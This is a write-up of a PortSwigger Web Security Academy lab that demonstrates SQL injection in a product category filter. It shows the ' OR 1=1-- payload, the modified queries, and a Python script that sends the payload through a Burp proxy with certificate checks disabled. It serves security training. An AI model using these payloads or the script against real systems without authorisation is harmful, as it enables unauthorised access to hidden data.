WHERE clause allowing retrieval of hidden data

Lab #1 by PortSwigger Web Security Academy: https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data

Description

This lab contains a SQL injection vulnerability in the product category filter. When the user selects a category, the application carries out a SQL query like the following:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

To solve the lab, perform a SQL injection attack that causes the application to display details of all products in any category, both released and unreleased.

Steps

Upon accessing the lab and filtering on the Pets category, I noticed a GET parameter named category in the URL.

To test the application’s behavior, I initially tried adding a single quote (') by navigating to https://0abe00670490492181da436400ec000b.web-security-academy.net/filter?category='.

This resulted in an Internal Server Error, which confirms that the application is indeed vulnerable.

By adding a single quote (') to the category parameter, the application executes the following query against the database:

SELECT * FROM products WHERE category = ''' AND released = 1

Preparing a SQL injection Payload:

Let’s try replacing ' with '--. The key thing here is that the double-dash sequence -- is a comment indicator in SQL, and means that the rest of the query is interpreted as a comment. This effectively removes the remainder of the query, so it no longer includes AND released = 1.

Expected Query:

SELECT * FROM products WHERE category = ''-- AND released = 1

URL: https://0abe00670490492181da436400ec000b.web-security-academy.net/filter?category='--

As we can observe, the error disappeared, and the page returned no products. Perfect!

Next, let’s try ' OR 1=1, which will return the result of the following query:

SELECT * FROM products WHERE category = '' OR 1=1 -- AND released = 1

The modified query will return all items where either the category is empty ('') or 1=1. Since 1=1 is always true, the query will return all items.

This solves Lab #1! Congratulations.

However, we won’t stop here. Let’s go the extra mile and automate the SQLi payload. To begin, download Burp Suite Community Edition and ensure that the Proxy listener is enabled.

Download the FoxyProxy extension and add the Burp Suite proxy address and port.

Enable the Burp proxy and navigate to the interface where Burp is running (127.0.0.1:8080). Save the CA certificate when prompted.

To prevent Firefox SSL errors when using Burp, import the certificate we just downloaded by going to about:preferences#privacy in Firefox.

We are now ready to intercept our HTTP(s) traffic through Burp. As shown below, the intercept is on, and we can observe the GET /filter?category=param request.

To automate this SQL injection payload, we can use the below Python script:

import requests  
import sys  
import urllib3  
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  
  
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}  
  
if __name__ == "__main__":  
	try:  
		url = sys.argv[1].strip()  
		payload = sys.argv[2].strip()  
	except IndexError:  
		print('Usage: %s <url> <payload> ; e.g www.example.com "1=1"' % sys.argv[0])  
		sys.exit(-1)  
  
uri = '/filter?category='  
r = requests.get(url + uri + payload, verify=False, proxies=proxies)  
  
# Congratulations message will show up only after solving the lab manually.  
if "Congratulations" in r.text:  
	print("it worked.")  
else:  
	print("Didn't work.")

To test our script with the Lab’s temporary URL and the payload we initially tested (' OR 1=1--), you can use the following command:

python3 sqli-lab01.py https://0a9d00e603476b2480e1766400eb00da.web-security-academy.net "' or 1=1--"

et voilà! Little bobby tables would be very happy :-)